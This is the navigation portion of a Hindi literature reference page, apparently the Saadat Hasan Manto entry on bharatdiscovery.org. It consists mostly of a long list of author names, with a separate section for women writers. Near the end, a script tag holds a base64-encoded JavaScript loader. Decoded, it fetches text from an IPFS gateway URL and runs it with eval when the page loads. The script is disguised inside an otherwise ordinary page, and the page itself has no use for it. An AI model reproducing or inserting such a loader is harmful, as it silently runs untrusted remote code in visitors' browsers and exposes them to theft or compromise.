यादवेन्द्र शर्मा 'चन्द्र' · ज्योति प्रसाद अग्रवाल · गोपाल चंद्र प्रहराज · गोदावरीश मिश्र · मुद्राराक्षस · उपेन्द्रनाथ अश्क · शिवनारायण श्रीवास्तव · चन्द्रशेखर पाण्डे · पण्डित कृष्ण शुक्ल · कुशवाहा कान्त · विष्णु प्रभाकर · अगरचन्द नाहटा · कुसुम चतुर्वेदी · सीताराम चतुर्वेदी · रमेश चन्द्र दत्त · अमर गोस्वामी · राजा शिव प्रसाद · बज्ररत्न दास अग्रवाल · रामचन्द्र वर्मा · देवराज नन्दकिशोर · प्रताप नारायण सिंह · दामोदर पण्डित · राजेन्द्र अवस्थी · अशोक कुमार सिंह · क्षितिजमोहन सेन · रघुनन्दन प्रसाद शुक्ल 'अटल' · गोविंद शंकर कुरुप · अज्ञेय · रमा शंकर व्यास · टी. एल. वासवानी · अमरकांत · देवनारायण द्विवेदी · भदन्त आनन्द कौसल्यायन · रामनरेश त्रिपाठी · ठाकुर गदाधर सिंह · लक्ष्मी मल्ल सिंघवी · विद्याभूषण विभु · विद्यानिवास मिश्र · विजयानन्द त्रिपाठी · हरिभाऊ उपाध्याय · श्रीकांत वर्मा · प्रताप नारायण मिश्र · बालकृष्ण भट्ट · द्वारका प्रसाद मिश्रा · प्रभाकर मिश्र · धीरेन्द्र वर्मा · सत्येन्द्रनाथ ठाकुर · चन्द्रबली सिंह · राहुल सांकृत्यायन · ई. एम. एस. नंबूदरीपाद · गोपबंधु दास · रामप्रसाद विद्यार्थी · वृंदावनलाल वर्मा · इंशा अल्ला ख़ाँ · भीष्म साहनी · निहाल चन्द वर्मा · बाबू गुलाबराय · यशपाल · भगवतीचरण वर्मा · बालकृष्ण शर्मा नवीन · हरिशंकर शर्मा · शरत चंद्र चट्टोपाध्याय · पंडित श्रद्धाराम शर्मा · गोपीनाथ मोहंती · अरविंद कुमार · सुकुमार राय · अमृतराय · अमृतलाल चक्रवर्ती · तकषी शिवशंकर पिल्लै · अम्बाप्रसाद 'सुमन' · डॉ. नगेन्द्र · अम्बाशंकर नागर · रस्किन बॉण्ड · अम्बिकादत्त व्यास · अम्बिकाप्रसाद वाजपेयी · रामकुमार वर्मा · रामवृक्ष बेनीपुरी · माखन लाल चतुर्वेदी · माइकल मधुसूदन दत्त · प्रतापनारायण श्रीवास्तव · भाई परमानन्द · अयोध्याप्रसाद गोयलीय · हंस कुमार तिवारी · एस.एल. भयरप्पा · काका कालेलकर · ठाकुर शिव कुमार सिंह · मुकुंदी लाल श्रीवास्तव · नंददुलारे वाजपेयी · लक्ष्मी नारायण मिश्र · भट्टोजिदीक्षित · जानकी प्रसाद · ठाकुर जगमोहन सिंह · प्रतिभा राय · भर्तुमित्र · पद्मसिंह शर्मा · भृतहरि · हरिवंश राय बच्चन · पांडुरंग वामन काणे · विजयशंकर मल्ल · आचार्य रघुवीर · मयूर भट्ट · चतुरसेन शास्त्री · इलाचन्द्र जोशी · सआदत हसन मंटो · चन्द्रबली पाण्डेय · गजानन त्र्यंबक माडखोलकर · गंगानाथ झा · कंबन · देवकीनन्दन खत्री · झबेरचंद · मोहन राकेश · कन्हैयालाल माणिकलाल मुंशी · कन्हैयालाल मिश्र प्रभाकर · कामिल बुल्के · मुक्तिबोध · कमलेश्वर · ब्रजनन्दन सहाय · अभिमन्यु अनत · गिरिराज किशोर · धर्मवीर भारती · चन्द्रधर शर्मा गुलेरी · अन्नपूर्णानन्द · फ़क़ीर मोहन सेनापति · नर्मद · नरेन्द्र कोहली · बंग महिला · सुधीश पचौरी · विष्णु सखाराम खांडेकर · लोचन प्रसाद पाण्डेय · वासुदेव शरण अग्रवाल · शमशेर बहादुर सिंह · श्रीलाल शुक्ल · रोनाल्ड स्टुअर्ट मेक्ग्रेगॉर · अलेक्सेई पैत्रोविच वरान्निकोव · राही मासूम रज़ा · राधानाथ राय · सुखलाल कायस्थ · रघुवीर सहाय · मोटूरि सत्यनारायण · वासुदेव महादेव अभ्यंकर · रांगेय राघव · फणीश्वरनाथ रेणु · निर्मल वर्मा · खुशवंत सिंह · मास्ति वेंकटेश अय्यंगार · जानकी वल्लभ शास्त्री · मनोहर श्याम जोशी · सियारामशरण गुप्त · सर्वेश्वर दयाल सक्सेना · बनारसीदास चतुर्वेदी · सुदर्शन · कृश्न चन्दर · ज्ञानरंजन · असग़र वजाहत · शिवाजी सावंत · गुरुजाडा अप्पाराव · गुणाढ्य · केदारनाथ अग्रवाल · केदारनाथ सिंह · राजेंद्र यादव · विजयदान देथा · हरिकृष्ण देवसरे · अन्नाराम सुदामा · विश्वनाथ सत्यनारायण · टी. पी. मीनाक्षीसुंदरम · एस. के. पोट्टेक्काट्ट · राधावल्लभ त्रिपाठी · भगवतशरण उपाध्याय · राधाकृष्ण · परशुराम चतुर्वेदी · राजनाथ पांडेय · विश्वंभरनाथ जिज्जा · किशोरीदास वाजपेयी · श्रीमन्नारायण अग्रवाल · कैलाशचंद्र देव वृहस्पति · झाबरमल्ल शर्मा · भुवनेश्वर · रॉबिन शॉ · सुरेश कांत · गुरदयाल सिंह · प्रभाकर माचवे · काशीनाथ सिंह · अमृतलाल बेगड़ · दूधनाथ सिंह · भगवत रावत · विष्णु विराट · डॉ. राष्ट्रबंधु · उदयराज सिंह · रामदरश मिश्र · शानी · गोविन्द मिश्र · कान्ति कुमार जैन · शिवप्रसाद सिंह · सूरजभान सिंह · कैलाश वाजपेयी · इन्दु प्रकाश पाण्डेय · हरि नारायण आपटे ·वचनेश मिश्र · माधव शुक्ल · गोपाल प्रसाद व्यास · रघुवीर चौधरी · सुदर्शन सिंह चक्र · हरिकृष्ण 'प्रेमी' · नाथूरामशर्मा 'शंकर' · सुंदरदास (छोटे) · राजेन्द्रलाल मित्रा · श्री नारायण चतुर्वेदी · सखाराम गणेश देउसकर · गोविंद शास्त्री दुगवेकर · गिजुभाई बधेका · विवेकी राय · कुप्पाली वेंकटप्पा पुटप्पा · गिरिधर शर्मा चतुर्वेदी · गरीब दास · संत सिंगाजी · चंद्रगुप्त विद्यालंकार · भूपेंद्रनाथ दत्त · चतुर्भुज औदीच्य · मगन भाई देसाई · वेद प्रकाश शर्मा · सेठ गोविन्द दास · रामकिंकर उपाध्याय · करतार सिंह दुग्गल · कुँवर चन्द्र प्रकाश सिंह · बाबूराम सक्सेना · जी.पी. श्रीवास्तव · गुरु भक्तसिंह 'भक्त' · गिरिधर शर्मा नवरत्न · गंगाप्रसाद अग्निहोत्री · अनंत पै · अजित शंकर चौधरी · मनु शर्मा · ओंकारनाथ श्रीवास्तव · मेहता लज्जाराम शर्मा · चंद्रकांत देवताले · नरसिंह चिन्तामन केलकर · अन्ना साहब भोपटकर · गुरमुख सिंह मुसाफिर · पण्डित मुखराम शर्मा · राधाकांत देव · उदय शंकर भट्ट · अक्षर अनन्य · अक्सकोव · फरीदुद्दीन अत्तार · अब्राहम गोल्डफेडेन · राधाकृष्ण दास · राधाचरण गोस्वामी · राधिकारमण प्रसाद सिंह · अलाओल · आक्टेव क्रेमैंजी · आज़ाद · रामदहिन मिश्र · रामदास गौड़ · आनंदबोध · आनन्दगिरि · राम नारायण मिश्र · रामावतार शर्मा · रूप नारायण पांडेय · रोहित मेहता · लक्ष्मीनारायण गर्दे · लक्ष्मीनाथ बेजबरुआ · आमिर अली 'मीर' · विक्रम सेठ · उपेंद्र भंज · उमर ख़य्याम · वेंकटेश नारायण तिवारी · शिबली नुमानी · शिवराम महादेव परांजपे · शिव पूजन सहाय · किपलिंग रुडयार्ड · श्याम सुंदर · श्याम सुंदर दास · श्रीधर वेंकटेश केलकर · श्रीपाद कृष्ण कोल्हटकर · श्रीपाद कृष्ण बेलवेलकर · संतोख सिंह भाई · सदासुख लाल· आचार्य वामन · द्विजेन्द्रनाथ मिश्र 'निर्गुण' · रतन लाल बंसल · डॉ. अशोक बंसल · त्रिलोक नाथ पाण्डेय · स्वयं प्रकाश · सीताकांत महापात्र · बलदेव प्रसाद मिश्र · दिगम्बर हांसदा · कुबेरनाथ राय · कोलकलुरी इनोच · एम. पी. वीरेंद्र कुमार · विश्वनाथ त्रिपाठी · हरप्रसाद दास · सी. राधाकृष्णन · रघुवंश · कृष्ण बिहारी मिश्र · डॉ. राममूर्ति शर्मा · कल्याण मल लोढ़ा · यशदेव शल्य · राममूर्ति त्रिपाठी · श्यामाचरण दुबे · मुनि श्री नागराज · मनुभाई राजाराम पंचोली · सी. के. नागराज राव · केदारनाथ चौधरी · अर्जुन सिंह शेखावत · कपिल तिवारी · सुब्बु अरुमुगम · शीतला प्रसाद त्रिपाठी · बाबू तोताराम · लाला श्रीनिवासदास · पंकज बिष्ट · शंख घोष · शरद पगारे · परमानन्द श्रीवास्तव · कमल किशोर गोयनका · सुरेन्द्र वर्मा · रमेश चंद्र शाह · रामस्‍वरूप चतुर्वेदी · मदनलाल वर्मा 'क्रान्त' · लक्ष्मण शास्त्री जोशी · भबेन्द्र नाथ सैकिया · चन्द्रशेखर कम्बार · देवेगोड़ा जवरेगोड़ा · बी. एम. श्रीकांतैया · ए. एन. मूर्ति राव · कपिल देव द्विवेदी · पी. परमेश्वरन · मनोज दास · एम. कीर्ति सिंह · रघुवेंद्र तंवर · धनंजय कीर · वेंकटरामा रामलिंगम पिल्लई · हरमोहिन्दर सिंह बेदी · अखोन असगर अली बशारत · जे. बी. मोरायश · यूसुफ़ शेख · कक्कानादन · जी. वी. कक्कानादन · रहमान राही · गोविन्द विनायक करंदीकर · एम. टी. वासुदेव नायर · डी. जयकान्तन · सुभाष मुखोपाध्याय · सच्चिदानंद राउतराय · तकाजी शिवशंकरा पिल्लै · कुसुमाग्रज · बीरेन्द्र कुमार भट्टाचार्य · अमिताभ घोष‎‎ · विष्णु डे‎‎ · नीलमणि फूकन · ब्रात्य बसु · मुकुन्द दास · संजीव चट्टोपाध्याय · अतीन बंद्योपाध्याय · राधारमण मित्र · प्रेमेन्द्र मित्र · नरेश भारतीय · रामशरण जोशी · रवीन्द्रनाथ त्यागी · प्रयाग शुक्ल · ज्ञान चतुर्वेदी · आलोक मेहता · के. पी. सक्सेना · हुल्लड़ मुरादाबादी · गुलाब कोठारी · माणिक वर्मा · कुमारपाल देसाई · कपिल कपूर · हेमचन्द्र गोस्वामी · अमिय चक्रवर्ती
महिला
महादेवी वर्मा · इस्मत चुग़ताई · सुभद्रा कुमारी चौहान · शिवानी · आशापूर्णा देवी · महाश्वेता देवी · अमृता प्रीतम · क़ुर्रतुलऐन हैदर · प्रभा खेतान · भारती मुखर्जी · नीलम सक्सेना चंद्रा· बालमणि अम्मा · लीलावती मुंशी · डेम अगाथा क्रिस्टी · रश्मि बंसल · मृदुला सिन्हा · कमला चौधरी · उषा यादव · इंदिरा गोस्वामी · दलीप कौर तिवाना · विद्या विंदु सिंह · माधवी सरदेसाई · मीना काकोदकर · अनुराधा शर्मा पुजारी · क्रांति त्रिवेदी

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


Retrieved from "https://en.bharatdiscovery.org/w/index.php?title=सआदत_हसन_मंटो&oldid=364867"